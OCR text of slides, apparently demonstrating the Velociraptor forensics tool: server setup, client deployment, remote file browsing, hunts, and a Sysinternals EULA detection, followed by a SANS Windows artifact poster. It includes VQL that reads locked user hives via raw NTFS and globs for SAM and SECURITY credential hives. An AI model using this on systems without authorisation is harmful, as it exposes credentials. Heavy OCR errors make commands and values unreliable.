C:\Program Files\Velocirapton>velociraptor-ve.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

Start the server




[ folslelsleln%.

Server Se>\feloc1raptor-\r8 3. l-ulndouq 4.0-amd64.exe --COI"I‘Flg server.config. yaml frontend -v

fGenerating keys please wait....
? Enter the frontend port to listen on.

Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?
Where should i write the client config file?
GUI Username
GUI Username

RV VRV RV W Y]

:\Program Files\Velociraptor>dir
Volume in drive C has no label.
Volume Serial Number is ©CF9-8FES

Directory of C:\Program Files\Velociraptor

09:09 AM
©7/23/2019 ©9:09 AM
©7/23/2019 ©9:09 AM
©7/23/2019 ©9:09 AM
©7/15/2019 12:00 AM
3 File(s)
2 Dir(s)

<DIR>
<DIR>

1,953 client.config.yaml

10,337 server.config.yaml

32,105,289
32,117,576 bytes

84,104,568,832 bytes free

C:\Program Files\Velociraptor>

I will be creating a new deployment configuration for you.
Jbegin by identifying what type of deployment you need.

I will

What is the public DNS name of the Frontend (e.g. www.example.com

or email address to authorize (empty to end):
or email address to authorize (empty to end):

'.'cluLil'apLul =vo. 3. i-windows-

P - = 1 - " PR o o o - -~ — . ———— -~ BE e o 0 " "

Start the server




Secver setup

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64

bl
Iwelcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

fGenerating keys please wait....

? Enter the frontend port to listen on.

? What is the public DNS name of the Frontend (e.g. www.example.com
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

YV W Y]

C:\Program Files\Velociraptor>dir
Volume in drive C has no label.
Volume Serial Number is ©CF9-8FES

Directory of C:\Program Files\Velociraptor

©7/23/2019 ©9:09 AM <DIR>

©7/23/2019 ©9:09 AM <DIR> -

©7/23/2019 ©9:09 AM 1,953 client.config.yaml

©7/23/2019 ©9:09 AM 10,337 server.config.yaml

©7/15/2019 12:00 AM 32,105,286 velociraptor=ve. 3. i-windows-
3 File(s) 32,117,576 bytes

2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

C:\Program Files\Velocirapton>velociraptor-ve.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

Start the server




localhost

Signin b --config server.config.yaml frontend -v

> CUmNLIC . 15zZiuwa , verslon

https:/
Username nick

Password

m ‘Cjn(:f‘

nitor.Health/Prometheus

bric.Client.Stats
lows .Events.ProcessCreation

07/

07/ ]

07/]

07/

o7 S I _ —
3 File(s)
2 Dir(s)

C:\Program Files\Velociraptor>




+

hitps://localhost

Signin b --config server.config.yaml frontend -v

, aAA A e s~ Anamm Cam MrmAr A s m,
https://localhost:8889 11££4.15.597T10.90 , CUmMILC . 15Z1uva , verslion

x  +

hitps://localhost:8889/app.ht
Q

& Last Day ~

Server status

Currently there are 0 clients connected

CPU and Memory Utilization Currently Connected Clients

70 1.0

3 File(s) 32,117,576 by 0 0.0
2 Dir(s) 84,1064,568,832 09:10:32  09:10:42  09:10:52  09:11:02  09:11:12  09:11:22 09:10:32  09:10:42  09:1052  09:11:02  09:11:12  09:11:22

C:\Program Files\Velociraptor>




Client deployment

C:\Program Files\Velociraptor>velociraptor-v@.3.1-windows-4.0-amd64.exe --config client.config.yaml client -v
Genering new private key....

[INFO] 2019-87-23T709:13:17Z Starting Crypto for client C.388fdf98a6f26ee7

[INFO] 2019-87-23T709:13:17Z Expecting self signed certificate for server.

[INFO] 20819-87-23T09:13:17Z Starting HTTPCommunicator: [https://localhost:8600/]

[INFO] 2019-07-23T09:13:17Z Received PEM for VelociraptorServer from https://localhost:8000/

[INFO] 2019-07-23T709:13:17Z Receiver: Connected to https://localhost:8000/reader

[INFO] 2019-07-23T0©9:13:17Z Enrolling

[INFO] 2019-07-23T09:13:18Z Sender: Connected to https://localhost:8000/control

[INFO] 2019-87-23T7©9:13:18Z Receiver: Connected to https://localhost:8000/reader

[INFO] 2019-87-23T70©9:13:18Z Receiver: sent 706 bytes, response with status: 200 OK

[INFO] 2019-87-23T709:13:18Z Received request: session_id:"aff4:/clients/C.388fdf98a6f26ee7/flows/F.BKRCVBMBOEUQI" reques|
t_id:1 name:"VQLClientAction"” args:"\@22t\nOSELECT Version.Name AS Name, Version.BuildTime AS BuildTime, Labels FROM con
fig\022!$87dbeda2fde96b521cb9b5d5c8113703\022\202\001\n]SELECT Hostname, 0S, Architecture, Platform, PlatformVersion, K¢
rnelVersion, Fqdn FROM info()\022!$6e1133aac9fdd628badf53e306c5230a\022\257\001\n\211\001SELECT ut_type, ut_id, ut_host
IAS Host, ut_user AS User, timestamp(epoch=ut_tv.tv_sec) AS login_time FROM users() WHERE ut_type =~ \"USER\"\022!$4eee83
62372348cde786643b755da963" source:"VelociraptorServer"” auth_state:AUTHENTICATED args_rdf_name:"VQLCollectorArgs" task_i
d:1563873198592560 client_type:VELOCIRAPTOR
[INFO] 2019-07-23T09:13:18Z Received request: session_id:"aff4:/clients/C.388fdf98a6f26ee7/flows/F.Monitoring” request_i
d:1 name:"UpdateEventTable"” args:"\n\216\003\022\376\001\n\373\001LET Generic_Client_Stats_©_O=SELECT * FROM foreach(row
= { SELECT UnixNano FROM clock(period=atoi(string=Frequency))}, query= { SELECT UnixNano / 1000000000 AS Timestamp, Time
s.user + Times.system AS CPU, MemoryInfo.RSS AS RSS FROM pslist(pid=getpid)})\022k\n&SELECT * FROM Generic_Client_Stats
Ie_e\922A$F3b4a8e31fdc6348b190720565bd2c7e616b94d885Se692296f9fbd4453f5c83\632\917\n\tFrequency\822\882196d\305\001\888\8

00\310B\3106\001\200\224\353\334\003\n\304\010\622*\n\\LET precondition_Windows_Events_ProcessCreation_0=SELECT 0S FROM i
nfo() WHERE 0S = \"windows\"\022\376\004\n\373\004LET Windows_Events_ProcessCreation_0_©=SELECT timestamp(epoch=atoi(str
ing=Parse.TIME_CREATED) / 10000000 - 11644473000) AS Timestamp, Parse.ParentProcessID AS PPID, Parse.ProcessID AS PID, P
arse.ProcessName AS Name, { SELECT CommandLine FROM wmi(query=\"SELECT * FROM Win32_Process WHERE ProcessID = \" + form3
t(format=\"%v\", args=Parse.ProcessID), namespace=\"ROOT/CIMV2\") } AS CommandLine, { SELECT CommandLine FROM wmi(query=
\"SELECT * FROM Win32_Process WHERE ProcessID = \" + format(format=\"%v\", args=Parse.ParentProcessID), namespace=\"ROOT
/CIMV2\") } AS ParentInfo FROM wmi_events(query=eventQuery, wait=5000000, namespace=\"ROOT/CIMV2\")\0822\267\001\nrSELECT]
* FROM if(then=Windows_Events_ProcessCreation_©_©, condition=precondition_Windows_Events_ProcessCreation_0)\022A$9d8611
f50fbfa2aed4f1c430341177528f0e17483bcb92c3e464141cf521252aa\032c\n\018wmiQuery\022WSELECT * FROM __ InstanceCreationEvent
WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'\0323\n\neventQuery\022%SELECT * FROM Win32_ProcessStartTraceod\305\001
IK@99\868\3108\316\661\298\224\353\334\663\926\8@1" source: "VelociraptorServer" auth_state:AUTHENTICATED args_rdf_name:"
QLEventTable" task _i1d:1563873198618607 client_type:VELOCIRAPTOR
[INFO] 2019-07-23T709:13:18Z Starting $f3b4aBe31fdc6348b190720565bd2c7e616b04d8855e69220619fbd4453f5c83
[INFO] 2019-07-23T709:13:18Z Starting $9d8611f50fbfa2aed4f1c43034117752810e17483bcb92c3e464141cf521252aa
[INFO] 2019-07-23T709:13:19Z Sender: Connected to https://localhost:8000/control
[INFO] 2019-07-23T0©9:13:19Z Sender: sent 1491 bytes, response with status: 260 OK
[INFO] 2019-07-23T0©9:13:19Z Receiver: Connected to https://localhost:8000/reader

Use your
deploymen
method of
choice.

Recommen
signed MSI
Windows.

da
for

14



You're ready to go

Clients have
a persistent
connection
to the server.

They’re
awaiting
your
commands.




Scenerio: Data collection
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Browse remote computers

* File system
via OS

* File system
via raw

dCCessS

 Windows
Registry

e Collected
artefacts




Browse

* File syste
via OS

* File syste
via raw

dCCessS

 Windows
Registry

e Collected
artefacts

velocidex-01

file

ntfs

registry

$Recycle.Bin

Boot

Documents and Settings
PerfLogs

Program Files

Program Files (x86)
ProgramData

Recovery

Q

System Volume Information

Users

Windows

artifacts

localhost:8889/app.htm

Velocidex-01

=

file

ER =

C:

(il @201 9:00:22.09.19:22. TG

Download

file

Stats

Name

$Recycle Bin
BOOTNXT
BOOTSECT.BAK

Boot

Documents and Settings

NLog.config

TextView HexView

Click on a file in the table above

CSVView

Mode
drwXrwxrwx
-TW-TW-TW-
e o
drwxrwxrwx
Lrw-rw-rw-

-TW-rw-rw-

mtime

2019-07-23709:01:41Z
2019-04-12T719:00:40Z
2019-04-12T19:07:04Z
2019-04-12T19:07:03Z
2017-02-03703:30:15Z
2018-12-12T17:59:36Z

-

atime

2019-07-23709:01:41Z
2019-04-16T02:08:53Z
2019-04-16T702:08:53Z
2019-07-04701:11:03Z
2017-02-03703:30:15Z
2019-05-01T23:51:16Z

ctime

2016-07-16T11:47:47Z
2016-07-16T12:58:19Z
2017-02-03703:23:36Z
2017-02-03T03:23:33Z
2017-02-03703:30:15Z
2018-12-13T721:56:57Z

2019-07-23 09:17:00 U

Cl




hitps://localhost:8889/app.html#/clients/C.d504fae95
Q Velocidex-01 @ connected

UOCUITIENLS dinu Sewnys

PROGRA~1 = &R =

PROGRA~2 drwxr- | 2019-07- 2019-07- 2019-07-
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ProgramData

ne
NTUSER.DAT{4f913eb8-5d56-11e9-a4db- 524288 WX 2019-07- 2019-07- 2019-07-

000c290815ee}. TMContainer00000000000000000001.regtrans-ms xr-x  23T09:01:35Z 23T09:01:35Z 23T09:01:352  6-07-16T11:47:47Z
SYSTEM~1 -—
System Volume Information WAC: Users = Nick = NTUSER.DAT

Recovery

6-07-16T12:58:19Z
7-02-03T03:23:36Z

Users

7-02-03703:23:33Z
ALLUSE~1 Sta TextView HexView CSVView Reports

All Users 7-02-03T03:30:15Z
DEFAUL~1 First Previous 5 7 8 ) &) Y 8-12-13T21:56:57Z
Default
Default User Offset
x0000000
m x00000014
3D Objects x000
3DOBJE~1
APPLIC~1
AppData
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s
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Application Data
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3O
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Contacts
Cookies

DOCUME~1
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-~

localhost:

Q Velocidex-01

DOCUITIENLS dinu Sewrnygs

PROGRA~1 = ER =

PROGRA~2 Vv Documents " 2019-07- 2019-07- 2019-07-
PROGRA~3 o 23709.01:35Z__ 23709:01:35Z_ 23709:01:35Z

2019-04- 2019-07- 2019-04- 2019-07-
19T16:59:23Z 23T09:01:35Z2 12T719:00:20Z 23709:01:35Z

2019-07- 2019-07- 2019-07- 2019-04-
23T09:01:35Z 23T09:01:35Z 23709:01:35Z 12719:00:20Z

Becovery NTUSER.DAT{4f913eb8-5d56-11e9-addb- i 2019-07- 2019-07- 2019-07- 2019-07-
ecovery 000c290815ee}. TMContainer00000000000000000001.regtrans-ms X 23T09:01:35Z 23T09:01:35Z 23T09:01:352 _Z 23T09:01:35Z
SYSTEM~1 _— 201907 ne

System Volume Information ntfs =~ W\C: Users =~ Nick = NTUSER.DAT 23T09:01:35Z _ 6-07-16T11:47:47Z

PerfLogs

NTUSER.DAT 1048576 .

Program Files

Program Files (x86) NTUSER DAT{4f913eb8-5d56-11e9-a4db-000c290815ee} TM.bif 65536
ProgramData

Users 6-07-16T12:58:19Z
ALLUSE~1 Stats TextView HexView CSVView
All Users
DEFAUL~1
Default

7-02-03T03:23:36Z

7-02-03T03:23:33Z

WAC:Wsers\Nick\INTUSER.DAT Properties 7-02-03T03:30-15Z

Default User Size 1048576 mft 26562-128-4 8-12-13T21:56:57Z

Mode  -rwxr-xr-x name_type DOS+Win32
m Mtime  2019-04-19T16:59:23Z
Atime  2019-07-23T09:01:35Z
3DOBJE~1 Ctime  2019-04-12T19:00:20Z
APPLIC~1 Last Collected  2019-07-24 15:26:27 UTE &Download
AppData Fetch from Client

3D Objects

< Collect from the client
Application Data

Contacts
Cookies

DOCUME~1




Collecting evidence from a single endpoint

We can collect all
user hives from a
single computer
with a VQL
artefact.

This simple VQL
artefact
enumerates all
users, then collects
all their user hives.

Windows.Registry. NTUser
Windows.Registry. NTUser.Upload

Windows.Registry.NTUser.Upload

Type: client
This artifact collects all the user’'s NTUser.dat registry hives.

When a user logs into a windows machine the system creates their own “profile” which consists of a registry hive
mapped into the HKEY_USERS hive. This hive file is locked as long as the user is logged in

This artifact bypasses the locking mechanism by extracting the registry hives using raw NTFS parsing. We then just
upload all hives to the server.

Source

users = SELECT Name, Directory as HomeDir
FROM Artifact.Windows.Sys.Users()

4 SELECT upload(file="\\\\.\\" + HomeDir + "\\ntuser.da
5 accessor="ntfs") as Upload

6 FROM users

7




Collecting evidence from a single endpoint

We can collect all
user hives from a
Single ComPUter Windows.Registry.NTUser.Upload
W.Ith a VQL Windows Registry NTUser Upload Type: client
artefact. Soume
This si mple VQL s eedubicesne ek

artefact .i e
enumerates all
users, then collects

all their user hives.




Customutse a collection actefact
Focussingona =t

Known
compromised e
account

name: Custom.Windows.Registry.NTUser.Upload
description: |
This artifact collects the NTUser.dat registry hive of our known compromised service account.

sources:
- precondition: |
SELECT O0S From info() where 0S = ‘windows’
queries:
= |
LET users = SELECT Name, Directory as HomeDir CO'TS'S‘SOfareQ'S"Y hive

FROM Artifact.Windows Suec llcanc/() ed in.
WHERE Directory AND Name =~ "backupaccount” NTFS parsing. We then just

Windows.R

B R
WNRPROOVLRENOWNHWN R

[
£y

- |
SELECT upload(file=expand(path=HomeDir) + "\\ntuser.dat",
accessor="ntfs") as Upload

B
Jo

FROM users

=3
=4}

2019-07-26 04:19:39 UTC|




Customise a collection actefact

Ihost

Focussingona =
known

description:
This artifact collects the NTUser.dat registry hive of our known compromised service account.

compromised e [

- precondition: |
Windows.R SELECT 0S From info() where 0S = ‘windows’

account
|
. consists of a registry hive

ed in.

AND Name =~ "backupaccount” NTES o i on s

accessor="ntfs") as Upload
FROM users

2019-07-26 04:19:39 UTC|




Velociraptor | C.d504fae95fdb7f- X +

C A Not secure | hitps://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/flows

Collecting
New Artifact Collection - Select Artifacts to collect
all OS and Step 1 out of 2

registry Collect the operating system and all user Registry hives.

Windows Registry. UserAssist Credits: Thanks to Eric Zimmerman (@EricRZimmerman) for allowing us to leverage his work on
. . Registry file locations.
Windows.Sys.AppcompatShims References: https://github.com/EricZimmerman/KapeFiles

Windows.Sys.Users

Parameters

R . t Windows.System.Amcache
triageTabl
eg] S ry Windows. Triage.Collectors.RegistryHives fame ragelable

Type,Accessor,Glob ntuser.dat registry hive,ntfs,C:\Documents and

- Settings\"\ntuser.dat ntuser.dat registry hive,ntfs,C:\Users\*\ntuser.dat
h ] ve S Selected Artifacts: ntuser.dat registry transaction files,ntfs,C:\Documents and
Settings\"\ntuser.dat. LOG* ntuser.dat registry transaction
Use "Add" button or double-click to add artifacts to the list. files,ntfs,C:\Users\*\ntuser.dat LOG* UsrClass.dat registry
hive ntfs,C:\Users\"\AppData\Local\Microsoft\Windows\UsrClass.dat
UsrClass.dat registry transaction
files,ntfs,C:\Users\"\AppData\Local\Microsoft\Windows\UsrClass.dat LOG*
SAM registry transaction
files,ntfs,C:\Windows\System32\config\SAM.LOG* SECURITY registry
transaction files,ntfs,C:\Windows\System32\config\SECURITY.LOG*
SYSTEM registry transaction
files,ntfs,C:\Windows\System32\config\SYSTEM.LOG™ SAM registry
Remove hive,ntfs,C:\Windows\System32\config\SAM SECURITY registry
hive ntfs,C:\Windows\System32\config\SECURITY SOFTWARE registry




Velociraptor | C.d504fae95fdb7f- X +

C A Not secure | hitps://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/flows

Collecting
NeyyArtifact Collectio
a l l OS a n d R Collect the operating system and all user Registry hives.

registry

Windows.Registry. UserAssist Credits: Thanks to Eric Zimmerman (@EricRZimmerman) for allowing us to leverage his work on
u S e r Windows.Sys.AppcompatShims

Reqgistry file locations.
Windows.Sys. Users References: hitps://github.com/EricZimmerman/KapeFiles

R . t Windows.System.Amcache
e g ] S ry Windows.Triage.Collectors.RegistryHives JEQPIELE

Type,Accessor,Glob ntuser.dat registry hive,ntfs,C:\Documents and
- Settings\"\ntuser.dat ntuser.dat registry hive,ntfs,C:\Users\*\ntuser.dat
h ] ve S Selected Artifacts: ntuser.dat registry transaction files,ntfs,C:\Documents and
Settings\"\ntuser.dat. LOG* ntuser.dat registry transaction
Use "Add" button or double-click to add artifacts to the list. files,ntfs,C:\Users\*\ntuser.dat LOG* UsrClass.dat registry
hive ntfs,C:\Users\"\AppData\Local\Microsoft\Windows\UsrClass.dat
UsrClass.dat registry transaction
files,ntfs,C:\Users\"\AppData\Local\Microsoft\Windows\UsrClass.dat LOG*
SAM registry transaction
files,ntfs,C:\Windows\System32\config\SAM.LOG* SECURITY registry
transaction files,ntfs,C:\Windows\System32\config\SECURITY.LOG*
SYSTEM registry transaction
files,ntfs,C:\Windows\System32\config\SYSTEM.LOG™ SAM registry
Remove hive,ntfs,C:\Windows\System32\config\SAM SECURITY registry
hive ntfs,C:\Windows\System32\config\SECURITY SOFTWARE registry




e05fdb7f> X

< C A Notsecure | hitps// pp.html#/client

Collecting
NeyyArtifact Collectio
a l l OS a n d R Collect the operating system and all user Registry hives.

registry
Windows Registry.UserAssist - § - Credits: Thanks to Eric Zimmerman (@EricRZimmerman) for allowing us to leverage his work on
u Se r Windows.Sys.AppcompatShims Registr‘,f file locations.

Windows.Sys. Users References: https://github.com/EricZimmerman/KapeFiles

R . t Windows.System.Amcache
e g ] S ry Windows. Triage.Collectors.RegistryHives fame ragetable
v Type,Accessor,Glob ntuser.dat registry h -
Settings\"\ntuser.dat ntuser.dat registry hi:"’ g

°
h ] ve S Selected Artifacts: ntuser.dat registry transaction ﬁles,nﬁs.%
Settings\"\ntuser.dat.LOG” ntuser.dat regic =

Use "Add" button or double-click to add artifacts to the list. files,ntfs,C:\Users\"\ntuser.dat. LOG™ UsrCle.«
hive,ntfs,C:\Users\"\AppData\Local\Microso
UsrClass.dat registry transaction
files,ntfs,C:\Users\"\AppData\Local\Microsoft\Windo®
SAM registry transaction
files,ntfs,C:\Windows\System32\config\SAM.LOG* SECURITY registry
transaction files,ntfs,C:\Windows\System32\config\SECURITY.LOG*
SYSTEM registry transaction
files,ntfs,C:\Windows\System32\config\SYSTEM.LOG™ SAM registry

Remove hive,ntfs,C:\Windows\System32\config\SAM SECURITY registry

hive ntfs,C:\Windows\System32\config\SECURITY SOFTWARE registry




Any actifact that can be collected on
a single computer, can be hunted
across the network




Extending collection across the network

) Velociraptor | Hun

A hunt can cover ¢ (A sl eabosisfarpiistins
a group of
clients, or the
whole network New Hunt - Select Artifacts to collect

Step 1 out of §

[ ]
o triage Collect event log files.
WINUows. Ifidge. vonecors. wrirorne
Parameters
S 9 Windows. Triage.Collectors.Edge
C O n t] n u e ru n n ] n g Windows. Triage. Collectors. EventLogs name EventLogGlobs
b bl e Windows.Triage.Collectors.EventTracelLogs default C:\Windows\system32\config\*.evt, C:\Windows\system32\winevt\logs\*.evtx
u n t] ] t eX p] reS ’ Windows.Triage.Collectors. EvidenceOfExecution

O r -i S S to p p e d Windows.Triage.Collectors.Firefox Artifact Sources

Selected Artifacts: Precodition

°
o A S n eW m a C h-l n eS Windows.Registry.NTUser.Upload
Windows.Analysis.EvidenceOfExecution SeLECT * FROM Artifact Trisge.Collection.uplosd(
a p pea r t h e Windows.Triage.Collectors.InternetExplorer :{H::.. ve ,.iﬂ;',_E”entLogGlobr .
tomati ﬁ

join the hunt




°
triage
Ex tend ln 8 v'.'rl:?juws. TIdYE. CUNECIUIS. UIITOTTE

Windows. Triage.Collectors.Edge

& A hunt can Cov Windows. Triage.Collectors.EventLogs
a grOUp Of Windows.Triage.Collectors EventTracelLogs
Cl]ents, 0]8 the Windows. Triage.Collectors.Evidence OfExecution
WhOle network Windows.Triage.Collectors_Firefox

A hunt will

continue runni
unt]l ]t exp] res Windows.Registry.NTUser.Upload S
or ]S Stopped Windows.Analysis.EvidenceOfExecution

. Windows.Triage.Collectors.InternetExplorer
As new machin

appear, theE/
automatically

Selected Artifacts:

join the hunt




Scenario: Finding files

© Velocidex Enterprises 2019 / www.velocidex.com



The file finder artefact

¥ Velociraptor | C.d504fae95fdb7f> X +
Use raW.NTFS access to & C A Notsecure | hitps:/localhost:8889/app.htmli#/clients/C.d504fae95fdb7f3f/flows
bypass file system locks

Use wildcards to ‘glob’
over directories

New Artifact Collection - Select Artifacts to collect

Use Yara to search the

contents of files

Filter by modified or
created dates
Upload matching files to

the server for further

a n a lyS] S ° MoreRecentThan 2019-07-15 g

A great starting point for =
making your own
collection artefacts.




Scenarto: Hunt for forensic evidence

© Velocidex Enterprises 2019 / www.velocidex.com



Huant for use of Syslatecnals tools

* Some attackers use Sysinternals tools

* These require accepting a EULA on first use

* This modifies a key in the user’s Registry

* This Registry key can be a great malicious indicator

© Velocidex Enterprises 2019 / www.velocidex.com



This dodgy user
has run PsExec

and SDelete

© Velocidex Enterprises 2019 /

localhost:8889/app.html#

Q Velocidex-01

+ @ | @& | &

State Flowld
F.BKSCPSA1A2TPK
F.BKSCOH6HQTBFC
F.BKSB10OKH5PUF8
F.BKS7THBNOSMNQG
F.BKS7GSGOETOBG

Artifact Collection

Artifacts Collected

Windows.Registry. Sysinternals.Eulacheck
Windows.Registry. Sysinternals.Eulacheck
Windows.Registry. Sysinternals.Eulacheck
VFSDownloadFile

VFSListDirectory

Uploaded Files Results Log

Windows.Registry. Sysinternals.Eulacheck

Windows.Registry.Sysinternals.Eulacheck

Show 10 ¥ entries

ProgramName

Key

Creation Time

2019-07-24 21:26:09 UTC
2019-07-24 21:23:16 UTC
2019-07-24 19:26:26 UTC
2019-07-24 15:26:26 UTC
2019-07-24 15:25:38 UTC

TimeAccepted

Last Active

2019-07-24 21:26:10 UTC
2019-07-24 21:23:17 UTC
2019-07-24 19:26:27 UTC
2019-07-24 15:26:27 UTC
2019-07-24 15:25:39 UTC

Search

Creator
nick
nick
nick
nick

nick

User EulaAccepted

HKEY_USERS\S-1-5-21-1552841522-3835366585-

97357653-1002\Software\Sysinternals\PsExec

HKEY_USERS\S-1-5-21-1552841522-3835366585-4197357653-1002\Software\Sysinternals\SDelete

Nick

Nick

Showing 1 to 2 of 2 entries

Previous

1 Next




localhost:8889/app.html#

Q Velocidex-01

+ @ | @& | &

State Flowld Artifacts Collected Creation Time Last Active Creator
F.BKSCPSA1A2TPK Windows.Registry. Sysinternals.Eulacheck 2019-07-24 21:26:09 UTC 2019-07-24 21:26:10 UTC nick
F.BKSCOH6HQTBFC Windows.Registry. Sysinternals.Eulacheck 2019-07-24 21:23:16 UTC 2019-07-24 21:23:17 UTC nick
F.BKSB10OKH5PUF8 Windows.Registry. Sysinternals.Eulacheck 2019-07-24 19:26:26 UTC 2019-07-24 19:26:27 UTC nick
F.BKS7THBNOSMNQG VFSDownloadFile 2019-07-24 15:26:26 UTC 2019-07-24 15:26:27 UTC nick
F.BKS7GSGOETOBG VFSListDirectory 2019-07-24 15:25:38 UTC 2019-07-24 15:25:39 UTC nick

This dodgy user | ———

Windows.Registry. Sysinternals.Eulacheck

haS run PSExeC Windows.Registry.Sysinternals.Eulacheck

and SDelete

ProgramName TimeAccepted User EulaAccepted

HKEY USERS\S-1-5-21-155284 3835366585-4197357653-1002\Software\Sysinternals\PsExec 2019-07-24T21:24:03Z Nick

HKEY USERS\ - 28 22-3835366585 )7357653-1002\Software\Sysinter SDelete 2019-07-247T19:27:19Z Nick

© Velocidex Enterprises 2019 /




Windows Forensic Analysis

You Can’t Protect What You Don’t Know About

$25.00
Paster FORS00_w.6_1218

FIR

DIGITAL FORENSICS INCIDENT RESPONSE

____ _ POSTER—/—

digital-forensics.sans.org

M\.(nﬁl‘b’ub ul‘ﬂﬁlmﬂ\c‘tﬁl SANS DFIR Faculty
s Reserve

©2018 Rob Lee. All Rights

Location

xP
NTUSER D.\T\Samnre\Ml(mnl!-W\meuum.‘\'ﬂumn‘iwlom‘ (omO\g!lOpmSunNR\l

Win?/8/10;
MTUSER DAT\Softwase

ation

M-(Mn"ledﬂns‘tnllmt\'ﬂim\‘f wplocer\ComDig 320penSavef 10IMRY

File File
Creation Access

Modified - | " |
1.:.;.,. File Modified -
No Change

Access - Access -
Time of Time of Access
File Creation 1
Tl | oo
No Change
Creation -
File Creation | No Change |
File File

Creation

Time of
File Creation

Creation =
Time of
File Creation

Creation =
No Change

File File
Modification Rename

Modified - [ = 1
Time of Data | x‘é‘::: |
Modification | e |

[ |
Access - “ Access- |

No Change \‘ No Change \‘

Metadata - Metadata -
Time of Data Time of
Modification file Rename

[ |

Creation - “ Creation - |

No Change | No Change “

[ Metadata -

Time Rules
_INFORMATION

File
Copy

ey
Modified -

Inherited

from Original |

Access -
Time of
File Copy

Time of
File Copy.
Creation =

Time of
File Copy

Local Volume Volume File
File Move File Move File Move peletion
(move via CUI) (cut/paste

via Explorer)

$F|LENAME

File File
Modification Rename

|
| modified - |
| Mo Change “

)

Modified -
No Change

Access -
No Change

K Metadata -

1 Access - |
| MoChange “

Metadata-
No Change

No Change

Creation =
No Change

| Creation =
“ No Change “
L )

I | B

File
Copy

Modified -
Time of
File Copy

Access -
Time of
File Copy

File Copy
Creation -
Time of

File Copy

~ | __— —— -
Modified - | Modifed Modified Modified -
No Change | Inherited Inherited No Change
| from Original from Original
| -
Access— | ﬁ’;::e\;sfile AccRss -
|
| Wo Change | Move via CLI No Change
Metadata - Metadata - Metadata - _ |
Time of Local inherited inherited m‘::;‘;e
File Mave from Original from Original |
= | Creation = Creation - ; |
creaion | 1 [N Jnherited et
| Move via CLI from Original
Local Volume Volume File
File Move File Move File Move peletion
(mowe via CU) (cut/paste
via Explorer)
Modified - Modified - wodified -
Time of Move Time of No Change

via CU Cut/Paste

Access -
Time of Move
viaCU

Access -
No Change

Cut/Paste

Metadata -
Time of
Cut/Paste

Metadata -
Time of Move
via CU

No Change

Creation -
Time of Move
via CU

Creation =
No Change

r n
Time of
Cut/Paste

Windows Artifact Analysis: oo

shimcache

pescription

Location

NTUSER.DAT HIVE

NTUSER DAT Soft: wareMicrosoftiWindow stunenmmowhpIoler‘.JwAssm“
{GUID}Count

'.“‘E'P'e““”’“ ) reatControlset|Control
IS vin?/8/10:

SYSTEM CurrentControlSet|Contral

Inlerpretauon

e rur

SessionM anagerApplem patibility

Session Man m(uptmp.\!(.ube

the SANS course FOR500: Windows Forensic Ana
that it will help to answer.

Windows artifacts for com

Use this posterasa ch
puter intrusion, intelle

Amcache.hve

pescription

Location
Win?/8/%0
C-Windows\kppCompat ProgramsAmcache hve

Imerprelatlon

reated by SANS pigital Forensics and Incidence Response faculty for
lysis. The categories map a specific artifact to the analysis questions
eat-sheet to help you remember where you can discover key

ctual property theft, and other common cyber crime investigations.

Last-Visited MRU

pescription

Exame the CRUSERPROFILES)
Desktop T
Location

xP:

Ke Amcache.hwe\RootiFile\Volume GUIDjesssed IIUSEQ,DA\"Soitvlarn'Mxmmh‘l'ndom\(umnl\hrsnn‘hpbfevv(omblgﬂv
run, full pa n LastVisitedMRU

win7/8/10:

NTUSER DAT\Sottware! Mxrnsoh‘wmww"mwwmh wer‘CanqH‘

LastVisitedPidIMRU

Interpretation



5.00
svinm_ronsoo_vnj_nﬂl

ser Croated by Rob Lee wit
708 Rob Lee. ANl Rights Ret

SANN

pescription
the simole

but a
Location
XP:

NTUSER DATSof

win?/8/10
NTUSER DATSo

Intarnrotation

UserAssist

Description
2( rams launched from the desktop are tracked in

on a Windows

GUI-based

the launche System

Location

NTUSER.DAT HIVE:
NTUSER.DAT'Software\Microsoft\Windows'Cu
{GUID)\Count

Interpretation
All values are ROT-13 Encoded
-+ GUID for XP
75048700

* GUID for
- CEBFF5CD

- F4ES7C4B

Active Desktop

/in7/8/10

Executable File Execution
Shortcut File Execution

Windows 10 Timeline

Description

Win10 records recently used applications and files in a
“timeline” accessible via the “WIN+TAB" key. The data is
recorded in a SQLite database

Location
C:\Users\<profile>\AppData\Local'\ConnectedDevices
Platform\L. <profile>\ActivitiesCache.db

Interpretation
- Application execution
+ Focus count per application

RecentApps

Description
GUI Program execution launched on the Win10 system is
tracked in the RecentApps key

Location
Win10:
NTUSER.DAT'Software\Microsoft\Windows\Current Version\Search\RecentApps

Interpretation

Each GUID key points to a recent application.
ApplD = Name of Application
LastAccessTime = Last execution time in UTC
LaunchCount = Number of times executed

Shimcache

Description
* Windows Applic

n Compatibility Database is used by
Winc S

s to identify sible application compatibility

challenges with executables

- Tracks the exect s file name, file size, last modified time,

and in Windows the last update time

Location

XP:
SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatibility
Win7/8/10:

SYSTEM\CurrentControlSet\Control\Session Manager\App CompatCache

Interpretation
Any executable run on the Windows system could be found
in this key. You can use this key to identify systems that
specific malware was executed on. In addition, based on the
interpretation of the time-based data you might be able to
determine the last time of execution or activity on the system
* Windows XP contains at most 96 entries

LastUpdateTime is updated when the files are executed
+ Windows 7 contains at most 1,024 entries

- LastUpdateTime does not exist on Win7 systems

Jump Lists

Description

- The Windows 7 task bar (Jump List) is engineered to allow
users to “jump” or access items they have frequently or
recently used quickly and easily. This functionality cannot
only include recent media files; it must also include recent
tasks.

+ The data stored in the AutomaticDestinations folder will
each have a unigue file prepended with the ApplD of the
associated application,

Location

Win7/8/10:

C:\%USERPROFILE%\AppData\Roaming Microsoft\Window s\Recent\
AutomaticDestinations

Interpretation
- First time of execution of application.
- Creation Time = First time item added to the ApplD file.
- Last time of execution of application w/file open.
- Modification Time = Last time item added to the ApplD file
» List of Jump List IDs ->
